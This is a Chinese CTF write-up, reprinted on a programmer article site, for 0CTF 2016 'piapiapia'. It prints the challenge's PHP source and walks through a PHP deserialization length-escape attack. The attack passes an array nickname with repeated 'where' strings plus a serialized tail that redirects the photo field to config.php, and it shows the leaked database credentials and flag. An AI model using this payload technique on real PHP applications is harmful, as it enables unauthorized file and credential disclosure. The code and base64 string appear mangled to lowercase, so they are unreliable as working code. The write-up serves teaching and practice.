欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

程序员文章站 2022-03-06 23:09:01
一个很可爱的登录界面:进行一下目录扫描,发现源码泄露,把源码给出:index.php

一个很可爱的登录界面:

php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

进行一下目录扫描,发现源码泄露,把源码给出:

index.php

<?php
	require_once('class.php');
	if($_session['username']) {
		header('location: profile.php');
		exit;
	}
	if($_post['username'] && $_post['password']) {
		$username = $_post['username'];
		$password = $_post['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('invalid password');

		if($user->login($username, $password)) {
			$_session['username'] = $username;
			header('location: profile.php');
			exit;	
		}
		else {
			die('invalid user name or password');
		}
	}
	else {
?>
<!doctype html>
<html>
<head>
 <title>login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>login</h3>
			<label>username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">login</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

在输入账号密码之后进入了profile.php,下面是profile.php的源码:

<?php
	require_once('class.php');
	if($_session['username'] == null) {
		die('login first');	
	}
	$username = $_session['username'];
	$profile=$user->show_profile($username);
	if($profile == null) {
		header('location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!doctype html>
<html>
<head>
 <title>profile</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>hi <?php echo $nickname;?></h3>
		<label>phone: <?php echo $phone;?></label>
		<label>email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

还有注册页面的源码(没有太大用),register.php:

<?php
	require_once('class.php');
	if($_post['username'] && $_post['password']) {
		$username = $_post['username'];
		$password = $_post['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'register ok!<a href="index.php" rel="external nofollow" >please login</a>';		
		}
		else {
			die('user name already exists');
		}
	}
	else {
?>
<!doctype html>
<html>
<head>
 <title>login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>register</h3>
			<label>username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">register</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

然后是update.php:

<?php
	require_once('class.php');
	if($_session['username'] == null) {
		die('login first');	
	}
	if($_post['phone'] && $_post['email'] && $_post['nickname'] && $_files['photo']) {

		$username = $_session['username'];
		if(!preg_match('/^\d{11}$/', $_post['phone']))
			die('invalid phone');

		if(!preg_match('/^[_a-za-z0-9]{1,10}@[_a-za-z0-9]{1,10}\.[_a-za-z0-9]{1,10}$/', $_post['email']))
			die('invalid email');
		
		if(preg_match('/[^a-za-z0-9_]/', $_post['nickname']) || strlen($_post['nickname']) > 10)
			die('invalid nickname');

		$file = $_files['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_post['phone'];
		$profile['email'] = $_post['email'];
		$profile['nickname'] = $_post['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'update profile success!<a href="profile.php" rel="external nofollow" >your profile</a>';
	}
	else {
?>
<!doctype html>
<html>
<head>
 <title>update</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>please update your profile</h3>
			<label>phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">update</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

核心的处理代码,class.php:

<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = array('username', 'password');
		$value_list = array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("set sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "select $ret from $table where $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "insert into $table ($key) values ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "update $table set $key = '$value' where $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

最后是config.php:

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

看来flag就是在config.php中了,要想办法拿到config.php的内容了。

然后就是代码审计了。

seay代码审计系统也可以给点线索的:

php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

这个地方貌似有个文件读取的地方,在profile.php中:

else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

上面还有个反序列化unserialize,感觉有戏,如果$profile[‘photo']是config.php就可以读取到了,可以对photo进行操作的地方在update.php,有phone、email、nickname和photo这几个。

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));

结果如下:

array
(
 [phone] => 12345678901
 [email] => ss@q.com
 [nickname] => sea_sand
 [photo] => config.php
)

可以看到反序列化之后,最后面upload这一部分就没了,下面就是想办法把config.php塞进去了。

从数组顺序上看是和上面数组的顺序一样的,可以抓个包看下post顺序,那么最有可能的就是从nickname下手了。

在设置了$profile之后,用update_profile()函数进行处理:

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

进行了过滤:

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

有两个正则过滤,带上输入nickname时候有一个正则,总共三个过滤的地方,首先要绕过第一个输入时候的正则:

if(preg_match('/[^a-za-z0-9_]/', $_post['nickname']) || strlen($_post['nickname']) > 10)
			die('invalid nickname');
数组即可绕过:
nickname[]=

那么$profile就是这样了:
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

后面的正则要怎么利用呢,可以看到如果我们输入的有where,会替换成hacker,这样的话长度就变了,序列化后的每个变量都是有长度的,那么反序列化会怎么处理呢?我们应该怎么构造呢?

数组绕过了第一个正则过滤之后,如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;},一共是34个字符,如果利用正则替换34个where,不就可以把这34个给挤出去,后面的upload因为序列化串被我们闭合了也就没用了:

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

在where被正则匹配换成hacker之后,正好满足长度,然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。

下面开始操作:注册之后登陆,进入到update.php页面,输入信息及上传图片,用bp抓包把nickname改成数组即可: php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

然后进入到profile中查看图片信息,把base64码解码:

pd9wahakjgnvbmzpz1snag9zdg5hbwunxsa9iccxmjcumc4wljenowoky29uzmlnwyd1c2vybmftzsddid0gj3jvb3qnowoky29uzmlnwydwyxnzd29yzcddid0gj3f3zxj0exvpb3anowoky29uzmlnwydkyxrhymfzzsddid0gj2noywxszw5nzxmnowokzmxhzya9icdmbgfnezbjdgzfmjaxnl91bnnlcmlhbgl6zv9pc192zxj5x2dvb2qhfsc7cj8+cg==

解码得到:

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{0ctf_2016_unserialize_is_very_good!}';
?>

总结

以上所述是小编给大家介绍的php反序列化长度变化尾部字符串逃逸(0ctf-2016-piapiapia),希望对大家有所帮助!